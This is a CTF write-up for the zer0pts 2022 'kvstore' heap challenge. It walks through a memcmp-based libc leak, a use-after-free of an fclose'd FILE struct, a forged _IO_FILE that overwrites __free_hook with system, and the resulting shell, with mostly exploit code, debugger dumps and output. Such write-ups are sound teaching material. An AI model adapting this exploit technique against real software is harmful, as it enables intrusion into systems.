zer0pts CTF 2022 - kvstore
Do you want a heap exploitation challenge? This is the one.
nc pwn1.ctf.zer0pts.com 9005
Attachment: kvstore.tar.gz xpl.py
Team: Super HexaGoN
1. add
2. get
3. del
4. save
x. exit
>
kvstore
looked like your usual heap challenge on the first glance, providing a linked list of Items
typedef struct _Item {
char *key;
double value;
struct _Item *next;
} Item;
But when skimming through the code, no obvious bug in the Item
implementation was seen. It created, freed the notes in a safe way. The only thing that stand out, was the item_lookup
/* Find item by key */
size_t key_len = readline("Key: ", &key);
Item *item = item_lookup(key, key_len);
...
Item *item_lookup(const char *key, size_t keylen) {
for (Item *cur = top; cur != NULL; cur = cur->next) {
if (memcmp(key, cur->key, keylen) == 0)
return cur; /* Found item */
}
return NULL; /* Item not found */
}
Since it uses memcmp
and we control key
and keylen
, this can be used to leak values behind the key
by bruteforcing them byte by byte. So, let’s start with that to get leaks out of our way.
def exploit(r):
r.recvuntil("> ")
add("X"*(0x500-8), 1)
free("X"*(0x500-8))
add("C"*(0x80-8), 1) # creates chunk in freed bigger chunk
Here, we’re just preparing the key chunks in such a way, that some libc main arena pointers will be available behind a key.
0x555555559470: 0x00007ffff7fbff60 0x0000000000000791
0x555555559480: 0x5858585858585858 0x5858585858585858 <= big key chunk
0x555555559490: 0x5858585858585858 0x5858585858585858
0x5555555594a0: 0x5858585858585858 0x5858585858585858
0x5555555594b0: 0x5858585858585858 0x5858585858585858
0x5555555594c0: 0x5858585858585858 0x5858585858585858
0x5555555594d0: 0x5858585858585858 0x5858585858585858
...
after free
0x555555559470: 0x00007ffff7fbff60 0x0000000000000791
0x555555559480: 0x00007ffff7fc3be0 0x00007ffff7fc3be0 <= freed key chunk
0x555555559490: 0x0000000000000000 0x0000000000000000
0x5555555594a0: 0x5858585858585858 0x5858585858585858
0x5555555594b0: 0x5858585858585858 0x5858585858585858
0x5555555594c0: 0x5858585858585858 0x5858585858585858
0x5555555594d0: 0x5858585858585858 0x5858585858585858
0x5555555594e0: 0x5858585858585858 0x5858585858585858
after allocating smaller chunk
0x555555559470: 0x00007ffff7fbff60 0x0000000000000101
0x555555559480: 0x4343434343434343 0x4343434343434343 <= smaller key chunk
0x555555559490: 0x4343434343434343 0x4343434343434343
0x5555555594a0: 0x4343434343434343 0x4343434343434343
0x5555555594b0: 0x4343434343434343 0x4343434343434343
0x5555555594c0: 0x4343434343434343 0x4343434343434343
0x5555555594d0: 0x4343434343434343 0x4343434343434343
0x5555555594e0: 0x4343434343434343 0x4343434343434343
0x5555555594f0: 0x4343434343434343 0x0000000000000000
0x555555559500: 0x00007ffff7fc3be0 0x00007ffff7fc3be0 <= main arena ptrs
0x555555559510: 0x0000000000000000 0x0000000000000000
0x555555559520: 0x5858585858585858 0x5858585858585858
0x555555559530: 0x5858585858585858 0x5858585858585858
0x555555559540: 0x5858585858585858 0x5858585858585858
0x555555559550: 0x5858585858585858 0x5858585858585858
0x555555559560: 0x5858585858585858 0x5858585858585858
0x555555559570: 0x5858585858585858 0x0000000000000691
Now, we can just brute force the libc address byte per byte by trying to access the corresponding item and check, if it’s accessable or not.
def testval(k):
r.sendline("2")
r.sendlineafter(": ", k)
resp = r.recvline()[:-1]
r.recvuntil("> ")
return not ("Item not found" in resp)
def brute_addr():
result = ""
for i in range(6):
for ch in range(0, 256):
if ch == 0xa:
continue
test = "C"*(0x80-8)
test += p64(0)
test += result + chr(ch)
resp = testval(test)
if resp:
log.info("Found valid byte: %s" % hex(ch))
result += chr(ch)
break
return result.ljust(8, "\x00")
...
LIBCLEAK = u64(brute_addr())
libc.address = LIBCLEAK - 96 - 0x10 - libc.symbols["__malloc_hook"]
log.info("LIBC leak : %s" % hex(LIBCLEAK))
log.info("LIBC : %s" % hex(libc.address))
[*] Found valid byte: 0xe0
[*] Found valid byte: 0x3b
[*] Found valid byte: 0xfc
[*] Found valid byte: 0xf7
[*] Found valid byte: 0xff
[*] Found valid byte: 0x7f
[*] LIBC leak : 0x7ffff7fc3be0
[*] LIBC : 0x7ffff7dd7000
Having a libc leak is a good start, but still we need to find a way to either get an arbitrary write or corrupt memory at all.
But there was still this weird save
functionality
FILE *fp;
int is_saved;
if (!(fp = fopen("/dev/null", "w"))) {
/* We use /dev/null for experimental purpose */
perror("/dev/null");
return 1;
}
...
case 4: { /* save */
item_write_all(fp);
is_saved = 1;
puts("Items saved");
break;
}
How should writing notes to /dev/null
help at all and what was it meant for? But since the Item
functionality seemed to be quite safe, some iofile exploitation might be needed, why else would this file pointer be included.
Taking a closer look at the exit functionality made it clearer
default: { /* exit */
char ans;
fclose(fp);
if (!is_saved) {
/* Ask when list is not saved */
puts("The latest item list has not been saved yet.");
puts("Would you like to discard the changes? [y/N]");
scanf("%c%*c", &ans);
if (ans != 'y' && ans != 'Y')
break;
}
puts("Bye (^o^)ノシ");
return 0;
}
Trying to exit, will fclose
the fp
structure, before asking, if you really want to exit. Thus trying to exit but then going back into the application will result in an uaf
, since the fp
structure is freed.
While this felt like the right direction, another issue occured, as the fp
structure has a 0x1e0
size, but since the challenge used getline
to read the key, you could only create either a 0x100
or 0x1f0
chunk for new keys. Thus tcache
would never serve us the freed fp
chunk to manipulate it.
We would need to get the fp
chunk out of tcache
first, but for that we would need to free a chunk with size 0x1e0
at least 7 times. But since we cannot create such a chunk for ourself, the only possibility would be to free the fp
chunk itself multiple times.
Experimenting in that direction brought up some strange behaviour in fclose
.
add("X"*(0x1e0-8), 1)
fake_exit() # free fp
add("X"*(0x1000-8), 1)
save()
add("X"*(0x1e0-8), 1)
fake_exit() # free fp
add("X"*(0x1000-8), 1)
save()
Calling save
and thus fprintf
on the freed fp
seemed to avoid the double free validation when freeing it again.
gef➤ x/30gx 0x0000555555559000
0x555555559000: 0x0000000000000000 0x0000000000000291
0x555555559010: 0x0000000000000000 0x0000000100000000
0x555555559020: 0x0000000000000000 0x0000000700000000
0x555555559030: 0x0000000000000000 0x0000000000000000
0x555555559040: 0x0000000000000000 0x0000000000000002 <= freed count 2
0x555555559050: 0x0000000000000000 0x0000000000000000
0x555555559060: 0x0000000000000000 0x0000000000000000
0x555555559070: 0x0000000000000000 0x0000000000000000
0x555555559080: 0x0000000000000000 0x0000000000000000
0x555555559090: 0x0000000000000000 0x0000000000000000
0x5555555590a0: 0x0000000000000000 0x0000000000000000
0x5555555590b0: 0x0000000000000000 0x0000000000000000
0x5555555590c0: 0x0000555555559c30 0x0000000000000000
0x5555555590d0: 0x0000000000000000 0x0000000000000000
0x5555555590e0: 0x0000000000000000 0x0000000000000000
0x5555555590f0: 0x0000000000000000 0x0000000000000000
0x555555559100: 0x0000555555559cd0 0x0000000000000000
0x555555559110: 0x0000000000000000 0x0000000000000000
0x555555559120: 0x0000000000000000 0x0000000000000000
0x555555559130: 0x0000000000000000 0x0000000000000000
0x555555559140: 0x0000000000000000 0x0000000000000000
0x555555559150: 0x0000000000000000 0x0000000000000000
0x555555559160: 0x0000000000000000 0x0000000000000000
0x555555559170: 0x00005555555592a0 0x0000000000000000 <= freed fp struct
0x555555559180: 0x0000000000000000 0x0000000000000000
0x555555559190: 0x0000000000000000 0x0000000000000000
0x5555555591a0: 0x0000000000000000 0x0000000000000000
0x5555555591b0: 0x0000000000000000 0x0000000000000000
0x5555555591c0: 0x0000000000000000 0x0000000000000000
0x5555555591d0: 0x0000000000000000 0x0000000000000000
gef➤ x/30gx 0x00005555555592a0
0x5555555592a0: 0x00005555555592a0 0x0000555555559010 <= fp struct (pointing to itself)
0x5555555592b0: 0x000055555555bdd0 0x000055555555bdd0
0x5555555592c0: 0x000055555555bdd0 0x000055555555bdd0
0x5555555592d0: 0x000055555555ddd0 0x0000000000000000
0x5555555592e0: 0x0000000000000000 0x0000000000000000
0x5555555592f0: 0x0000000000000000 0x0000000000000000
By doing this repeatedly, we’ll free the fp struct over and over again pushing it out of tcache into a normal freed bin.
for i in range(7):
add("X"*(0x1e0-8), 1)
fake_exit() # free fp (tcache handled)
add("X"*(0x1000-8), 1)
save()
add("X"*(0x1e0-8), 1)
fake_exit() # free fp (now normal bin)
gef➤ p main_arena
$1 = {
mutex = 0x0,
flags = 0x0,
have_fastchunks = 0x0,
fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
top = 0x55555555dfc0,
last_remainder = 0x55555555caa0,
bins = {0x555555559290, 0x55555555caa0, 0x7ffff7fb7bf0 <main_arena+112>, 0x7ffff7fb7bf0 <main_arena+112>
So, now it’s possible to split the freed fp
struct freed chunk by just adding a key with a length smaller than 0x100
, which will then be put into the freed chunk enabling us to overwrite the fp
struct.
We can use that to overwrite _IO_buf_base
and _IO_buf_end
, which will be used in the next save
to determine the buffer, which the fp
structs uses to buffer the data to write. By aligning those addresses around __free_hook
, we can use that to overwrite it.
payload = p64(0) + p64(0) # flags / read_ptr
payload += p64(0) + p64(0) # read_end / read_base
payload += p64(0) + p64(0) # write_base / write_ptr
payload += p64(0) + p64(libc.symbols["__free_hook"]-0x80-0x150) # write_end / buf_base
payload += p64(libc.symbols["__free_hook"]+6) + p64(0x0) # buf_end / save_base
payload += p64(0) + p64(0)
payload += p64(0) + p64(0)
payload += p64(0) + p64(0)
payload += p64(0) + p64(libc.bss()+0x1000)
payload += p64(0) + p64(0)
payload += p64(0) + p64(0)
add(payload, 1) # overwrite fp struct
save() # overwrite free_hook
gef➤ x/gx 0x7ffff7fc5e48
0x7ffff7fc5e48: 0x0000585858585858
Looks good, so all there’s left, is to put system
in our key at a position, so that it will land in __free_hook
(instead of those X
s) and free a key containing /bin/sh
.
payload = "A"*0x1d0
payload += p64(libc.symbols["system"])
for i in range(7):
add(payload, 1)
fake_exit() # free fp (tcache handled)
add("A"*(0x1000-8), 1)
save()
...
add("/bin/sh\x00", 2)
# delete key /bin/sh
r.sendline("3")
r.sendlineafter("Key: ", "/bin/sh")
$ python xpl.py 1
[*] '/media/sf_ctf/zero/kvstore/kvstore/libc-2.31.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to pwn1.ctf.zer0pts.com on port 9005: Done
[*] Found valid byte: 0xe0
[*] Found valid byte: 0x9b
[*] Found valid byte: 0x7c
[*] Found valid byte: 0x46
[*] Found valid byte: 0xae
[*] Found valid byte: 0x7f
[*] LIBC leak : 0x7fae467c9be0
[*] LIBC : 0x7fae465dd000
[*] Switching to interactive mode
$ ls
chall
flag-e3e5116a5012f26b775d5ef5fdc2ec46.txt
$ cat flag-e3e5116a5012f26b775d5ef5fdc2ec46.txt
zer0pts{fclose-fwrite-fclose_2_byp4ss_d0ubl3_fr33_d3t3ct10n}